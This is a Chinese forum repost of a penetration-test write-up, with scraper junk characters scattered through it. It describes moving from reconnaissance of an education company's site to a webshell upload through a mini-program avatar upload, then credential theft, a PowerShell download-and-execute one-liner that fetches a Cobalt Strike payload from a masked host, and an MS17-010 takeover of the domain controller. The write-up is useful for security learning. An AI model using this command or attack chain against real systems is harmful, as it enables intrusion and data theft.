找回密码
 立即注册
查看: 3586|回复: 0
打印 上一主题 下一主题

渗透实战 | 从外网直接打到内网全过程

[复制链接]
跳转到指定楼层
楼主
发表于 2024-3-1 19:41:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

; P. E; ?; q$ k' E* Z8 I1 _: l 这次渗透是一个从01,从外网到拿下域控的实战过程,希望可以给大家一些思路 " u8 t+ q4 Z4 F/ _

8 v- _ W4 d. H* k) |

( ~2 }+ k! G( |  ; s. l% e( }* X9 k: p

! t" t4 W# _* f. K

1 _% j3 A/ F* u& A 正文 3 r( j5 {" K) j% ]$ ]

1 N: ?/ A, H/ O" a' D

( \: }# Y" Q6 ]+ P" l- _  - Q4 |7 r, p# r I/ R

& O% x5 \3 v3 |( g, f- o% [

( K1 C4 j2 h9 }6 G9 Y7 m 目标:www.xxxx.com(一家教育机构)
# r: t; G! {) a( m& `
打开是一个登录框,只能是手机号+密码或者手机号+验证码且并未开放注册功能
7 _" v3 |4 r; b3 x+ q3 ]. {

' ~. i6 e t4 |1 o

( `( z+ X/ U- e) m vshapes= 9 _' {$ @4 g3 H& c9 \

& }4 h, E* ~1 l0 \, g

! h# l6 J& g6 c5 S7 J* z 进行了简单的信息搜集
; c D! ]/ d" Y9 |) v
+ T9 T: R' O( b( e0 j8 w
; k6 P7 z+ Q2 a; f

1 b% Z& W% a( x1 L: \' e5 O

/ _, i6 q6 u/ Z u 子域名搜集3 P/ e- N- b( d( }9 p

, q4 f! W3 p% F7 }% b& U

' v v1 g6 z9 r' ^7 ?# n vshapes= 8 n' p7 W' s. o

4 B+ s9 t- U. [. P

* Z5 L3 A. }2 [/ P2 E fofa找资产
3 R& K4 D/ X) q) \. P
u' E6 Y( V% S- D
5 m* @6 s* ~% @# H

3 T2 i8 X2 k: l6 G: `

. ?. Q" f4 O9 E5 ~+ L7 b" n, V( F4 o vshapes= ' g3 N R, I) L+ ], V

5 J2 L6 }" s% C0 p" J- ?

+ F# M# ]; H4 Q }( P$ O7 h1 g* o 一共七个资产。去重之后只有两个。
5 T* O2 c. m* z, M* o1 Z0 O
) ?# E: {" g; Q" @
|0 f0 p3 k& h. ~3 o6 l) `) ~

% x( N, h! p: o, J

& x* ^! g; ]3 S4 | 目录探测+ K# D) Z- Z; G v

+ }$ }# m+ z$ m) g

* j+ q! R4 r: J5 ~; u2 e2 C vshapes=. F: L$ i/ k4 t/ D4 Q# z; W8 z

_, m9 b7 s% x: f! i |* m+ k. z

$ m5 _# @5 e" ]0 ^4 ~/ J: w- p$ @ 我尝试了暴力枚举,看有没有弱口令之类的,然而并没有
. X& y6 [* p& Z, s9 T0 J6 O& v
9 [: f4 j0 d* M' t! s5 Z$ u, ]2 \
+ N9 ~) \# N) s0 t3 [

* c J7 K$ ~+ K; z/ A

4 O/ _, Q6 X; Q( b9 u 我又尝试了通过修改返回包来绕过登录界面9 B2 t" O; J8 X% R' T# ]3 K; r

* m8 G, R* J7 `" F+ s

7 H {# @5 p' [9 V( h2 T$ H vshapes= ' G% R6 S, q- ]2 z

8 I0 |6 h8 K0 g

0 A, m) ` S3 {; X* K( X7 k. C 还是不行,尝试注入无果 , ? h8 W! g; h8 T9 a* i- c6 ^( \

, Z6 d5 M6 `7 n# C* b7 k' Z) Z0 W, a

, l& c2 l2 w+ g) y1 o/ J" n6 P vshapes= + ~3 h* r9 }* p+ U9 f

6 q! K% ~) O. q# V: l

7 |; n( }, G4 G% c- u7 s. b: U 不过我目录探测出了一处Spring信息泄露
( v, q" D6 G. G
, u, u- G m: R7 R1 S9 \0 w
7 B' {# T8 I6 Y. _# b: Z

. Z% E; f" z0 X" s" H

$ f( I3 y: [, o/ a/ _- d6 ` vshapes= * D; H1 W4 a" C- n+ h: i

! {! z) x7 c" ?- [) D; r& e

" c: B3 l+ h( }$ x 尝试Spring RCE无果,想通过trace目录下替换cookie实现登录,但是发现删除了这个目录 + ^ ^! g; ~; G1 i

5 f: ?8 h# m( G# D* T

! z0 ?% q2 W+ E$ d6 e1 n+ u vshapes=: m& _7 P' [ A d% Y9 p

( G$ C9 @0 D7 a0 W- I2 J

6 A* X# w' P: q" h' F* Z c 后对公众号进行了简单的信息搜集,针对公众号搜集时,尽量找后面认证过的进行渗透。2 h0 W7 d! l' p7 a; Y" q

; m" k0 j/ [: [% t+ P# E

. G7 f! q# h* e. z) T7 @ vshapes= 7 e2 I/ G* R7 v- V4 ~4 N

3 U. j) s! F' V5 ?- x8 B* Y# y

8 }5 c7 T7 M5 d1 m$ t 获取有些师傅到这一步就手机抓包电脑测了。5 s7 p) y2 E, F7 M3 y# I5 x7 P

- y1 @8 O2 C4 t

7 y# x% y- F- [, [# G* V4 A! s f Windows新版微信可以抓取公众号和小程序的包,只需要把IE代理配置一下即可。 , h, L q) q l5 R6 Y: a9 r

% \2 u) X$ A* e* C( k# n

% r7 n l" l3 N* |8 S% ^3 [* H 其中在一个公众号发现了小程序,可以进行注册。$ H, d, w& n4 s* T& ?. v" O

' q) S# Y, D# u( D

0 a. g$ y& f& F4 g. p; w 看到了头像上传,尝试上传获取WebShell! `9 h, Z7 E8 ^$ i! p: F: L

1 n) L! A( C; Q D4 b& f

" m2 T* v/ w6 ]0 \3 @3 s$ c vshapes=- H8 Q. d" |* u1 W

9 q( R% o! R5 q8 A$ D4 N. A

7 d* r$ e: T$ s 未做任何限制成功GetShell,上了冰蝎马,目录没权限访问0 |$ C7 w) C1 ^: h) g/ b0 O

1 b0 W' C+ c, K

% M& D2 A- w" d. g- i7 U' G vshapes= $ T3 \+ q' |' [

$ L' ~4 `# |6 K* l9 y, q. k1 I" Y

; D. Q3 C- [" M 然后上了大马 3 {- m. a% l v9 `

1 L$ v8 H2 H) Y

; k4 I6 y& G8 A/ V6 O0 \ j, j" U vshapes= + S6 N. m9 R- ?+ `4 k0 z+ P: Z

0 e# Y ^: o8 d: g( z

9 u- y' x1 Y) b' c0 C3 X4 O vshapes=5 @2 I! a/ M; d3 u {$ |

8 V+ ]8 z( L8 O! k) P+ s+ Y, C; p

/ A: A; }8 R+ v) [7 ~ H: S- K* r 通过翻找文件发现数据库账号密码 : y* S: B. f9 a/ t6 K* |4 v

& ^5 T1 F4 T1 m7 y" i- d! n' _, G" U. p

y' H: y4 g4 P$ W- Y T8 c vshapes= ( a" m4 ]% g# T. F, x- @

, F6 P# d7 T0 ]! ^6 t& Q2 ^

1 a2 }" F8 b5 c9 P --内网渗透5 l& U' q5 m4 Q5 b

+ s1 t$ P, p8 H7 ?% A2 N

/ t. |$ i- S" P5 p9 X 直接通过powershell执行 cs上线 1 B0 m3 b5 h4 z- O- z

$ `; ?, r- Q- G3 U4 o

* l0 E+ ?9 @, z' ~ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))" 3 m) U1 N j6 ~: N' j/ q$ U# F

8 \: Y. g) u/ V }( |4 y

6 @/ A3 B- y+ T7 d7 x( U vshapes=7 P. e4 W: G/ N! E: U' ?

4 g* [4 p, y2 a

5 J" L% g2 ?4 E% ^ 进入内网后,简单的进行一波信息收集,寻找域控并对服务器段进行弱口令爆破3 I" U; L" o, w: Z* [# C

$ O# W6 p7 I; j( j

& T% J5 I: J/ a0 j& E vshapes=% v0 M0 n- X6 m: o% C

/ _+ u8 M% X) u8 D% ?

4 m' `( n. O+ o7 i- }- O t 登录爆破出来的服务器,发现多网卡且存在逻辑隔离。
2 i/ B1 w" E5 V. T
9 t$ F6 h4 j4 L. f
& S; |4 ` ]0 X5 e: L
7 L+ p: X- U7 Q; n% B' g3 ]* c- J, c

( U5 ]5 E# F/ C8 b' P4 ~

0 Q- [3 B! v, c6 o/ h3 l7 J vshapes= ! F) G! E6 s# f5 `6 E# k

: ?% L, \; e$ G; y1 c

, l$ \0 g) z* P) ?" `7 q" x 通过跳扳机能通域控,发现域控server2008且存在ms17010,直接一把梭
/ p+ [5 ]; |2 l; q+ ^' K8 e
5 I% M5 p) L8 N" @
; l# O* G/ a2 r7 z

0 Y6 f) b5 x3 C( S3 |, h4 W

/ A6 g: \. ~. g2 Z6 g vshapes= + |2 ^7 n7 k3 K2 u9 J7 r0 J# g

& G4 j, t6 j) ?) O8 M+ a

& c# } B* u( B r# F+ l
& U% v- H& o) Z0 ?5 e4 W# M- r
6 H( l; S& t. w) p5 a. F
0 i' t" L a$ Q: I

! ^7 s: H# w6 ]0 o

6 P# c2 T/ q M& P  5 d2 q. }9 i' ]9 p

0 W6 g5 l. }5 S

, m3 D6 p6 [( X* C 小结; ^3 g- k( w# X! W1 L7 w

: ~, i7 r i8 l8 d2 @ ^( D

# k) q/ P' K9 [- [7 n   @4 O5 X( b! Z' m) o

0 j# ~6 R l; m1 U

( `8 t- _; o2 i1 {$ p 在渗透测试过程中,信息收集很重要,细心和耐心也是不可缺少的,总得来说,这次的渗透测试总的来说比较顺利,希望可以给大家带来一些思路! # d0 W9 D- t3 ]% A. I& p

# O9 b$ t& w1 a4 }% A; l3 S

5 s; V# }4 B% v! ?. Y* ]0 C! C   6 M4 r4 s4 | ^! N- h( [

- h' y( t6 e( u) Y$ j5 u' }
    4 i& j; l& K5 Y3 g) D% @
  • 3 a2 [0 H _6 ]* p/ W: p   # w; f3 O2 V& Y- d& [+ _7 {8 L
  • ' ] M# ~* x; \. z& @0 U3 G/ i$ t( Z8 |
  • $ d2 u' z; t! E+ e, z4 I# U1 S2 H   5 b s, s3 n" h$ _' J
  • 6 {* `- T" N5 q: K4 B
4 Z7 `5 \. v9 P* n U

B1 P x4 Y' J; O 作者:Xm4FDf转载自:https://bbs.ichunqiu.com/thread-57879-1-1.html 9 p7 C0 V9 j/ H y

M" R: Q* v" e( f; D% c$ R2 }( D

0 l3 P/ @& C' r) f6 R' R  % l; k7 e+ c" W$ C5 P5 ~+ B* a

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表